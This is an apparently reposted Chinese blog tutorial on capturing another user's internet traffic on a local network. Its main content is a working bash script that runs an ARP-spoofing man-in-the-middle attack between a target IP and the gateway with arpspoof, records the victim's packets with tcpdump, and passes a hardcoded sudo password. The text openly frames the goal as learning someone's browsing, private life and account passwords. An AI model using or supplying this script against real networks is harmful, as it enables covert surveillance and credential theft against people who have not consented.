获知局域网内他人的上网数据和行为

2023-10-17 00:18

本文主要是介绍获知局域网内他人的上网数据和行为,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

  • 作者:邹祁峰
  • 邮箱:Qifeng.zou.job@hotmail.com
  • 博客:http://blog.csdn.net/qifengzou
  • 日期:2015.12.16
  • 转载请注明来自"祁峰"的CSDN博客

  由于互联网的快速发展,人们的生活、休闲、工作已经越来越离不开网络。在使用网络网络的过程中,必然会产生网络数据。如果能拿到他人上网的数据,便可从中获取他人的网络行为、生活隐私、甚至账户密码。当前移动、联通、电信等运营商会在核心网络设备上抓取用户的上网数据包,并从中分析用户的行为和习惯,再挖掘潜在的商业价值。那么如果要想获知局域网内他人的网络数据时,那应该怎么做呢?

  现假如D和H处在同一局域网,G为该局域网的网关。如果此时H想知道D正在浏览什么网页,则H可通过执行以下脚本的方式获取D上网的数据,并从中获知D的当前上网行为:[注:脚本第一个参数为输出文件名]

#!/bin/bash PASSWD="111111"                       # 执行sudo命令的密码
NET_NAME="wlan0"                      # 网卡设备名
TARIP="10.58.93.92"                   # 目标主机IP
GATE_WAY="10.58.94.1"                 # 网管IP地址# 开启IP转发功能
echo $PASSWD | sudo -S sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"# 关闭其他干扰进程
echo $PASSWD | sudo -S pkill arpspoof
echo $PASSWD | sudo -S pkill tcpdump# 参数1为网络包的存储文件名, 不能省略!
if [ $# -ne 1 ]; thenecho "Please input save pcap file name" exit -1
fi# 欺骗目标主机,本机是网关
echo $PASSWD | sudo -S arpspoof -i ${NET_NAME} -t ${TARIP} ${GATE_WAY} &# 欺骗网关,本机是目标主机
echo $PASSWD | sudo -S arpspoof -i ${NET_NAME} -t ${GATE_WAY} ${TARIP} &# 经过以上欺骗动作,从目标主机发出的网络包都会经过本机;而从网关发往目标主机的网络包也会经过主机
# 因此,此时便可通过工具tcpdump抓取指定网卡、指定IP的网络包
echo $PASSWD | sudo -S tcpdump -i wlan0 -p -s0 host ${TARIP} and not arp  -w $1.pcap &

代码1 抓包脚本


  该脚本执行后,其抓包的结果如下:

图1 抓包效果图

这篇关于获知局域网内他人的上网数据和行为的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/221668

相关文章

批量导入txt数据到的redis过程

《批量导入txt数据到的redis过程》用户通过将Redis命令逐行写入txt文件,利用管道模式运行客户端,成功执行批量删除以Product*匹配的Key操作,提高了数据清理效率... 目录批量导入txt数据到Redisjs把redis命令按一条 一行写到txt中管道命令运行redis客户端成功了批量删除k

SpringBoot多环境配置数据读取方式

《SpringBoot多环境配置数据读取方式》SpringBoot通过环境隔离机制,支持properties/yaml/yml多格式配置,结合@Value、Environment和@Configura... 目录一、多环境配置的核心思路二、3种配置文件格式详解2.1 properties格式(传统格式)1.

解决pandas无法读取csv文件数据的问题

《解决pandas无法读取csv文件数据的问题》本文讲述作者用Pandas读取CSV文件时因参数设置不当导致数据错位,通过调整delimiter和on_bad_lines参数最终解决问题,并强调正确参... 目录一、前言二、问题复现1. 问题2. 通过 on_bad_lines=‘warn’ 跳过异常数据3

Python极速搭建局域网文件共享服务器完整指南

《Python极速搭建局域网文件共享服务器完整指南》在办公室或家庭局域网中快速共享文件时,许多人会选择第三方工具或云存储服务,但这些方案往往存在隐私泄露风险或需要复杂配置,下面我们就来看看如何使用Py... 目录一、android基础版:HTTP文件共享的魔法命令1. 一行代码启动HTTP服务器2. 关键参

C#监听txt文档获取新数据方式

《C#监听txt文档获取新数据方式》文章介绍通过监听txt文件获取最新数据,并实现开机自启动、禁用窗口关闭按钮、阻止Ctrl+C中断及防止程序退出等功能,代码整合于主函数中,供参考学习... 目录前言一、监听txt文档增加数据二、其他功能1. 设置开机自启动2. 禁止控制台窗口关闭按钮3. 阻止Ctrl +

java如何实现高并发场景下三级缓存的数据一致性

《java如何实现高并发场景下三级缓存的数据一致性》这篇文章主要为大家详细介绍了java如何实现高并发场景下三级缓存的数据一致性,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 下面代码是一个使用Java和Redisson实现的三级缓存服务,主要功能包括:1.缓存结构:本地缓存:使

在MySQL中实现冷热数据分离的方法及使用场景底层原理解析

《在MySQL中实现冷热数据分离的方法及使用场景底层原理解析》MySQL冷热数据分离通过分表/分区策略、数据归档和索引优化,将频繁访问的热数据与冷数据分开存储,提升查询效率并降低存储成本,适用于高并发... 目录实现冷热数据分离1. 分表策略2. 使用分区表3. 数据归档与迁移在mysql中实现冷热数据分

C#解析JSON数据全攻略指南

《C#解析JSON数据全攻略指南》这篇文章主要为大家详细介绍了使用C#解析JSON数据全攻略指南,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录一、为什么jsON是C#开发必修课?二、四步搞定网络JSON数据1. 获取数据 - HttpClient最佳实践2. 动态解析 - 快速

MyBatis-Plus通用中等、大量数据分批查询和处理方法

《MyBatis-Plus通用中等、大量数据分批查询和处理方法》文章介绍MyBatis-Plus分页查询处理,通过函数式接口与Lambda表达式实现通用逻辑,方法抽象但功能强大,建议扩展分批处理及流式... 目录函数式接口获取分页数据接口数据处理接口通用逻辑工具类使用方法简单查询自定义查询方法总结函数式接口

SQL中如何添加数据(常见方法及示例)

《SQL中如何添加数据(常见方法及示例)》SQL全称为StructuredQueryLanguage,是一种用于管理关系数据库的标准编程语言,下面给大家介绍SQL中如何添加数据,感兴趣的朋友一起看看吧... 目录在mysql中,有多种方法可以添加数据。以下是一些常见的方法及其示例。1. 使用INSERT I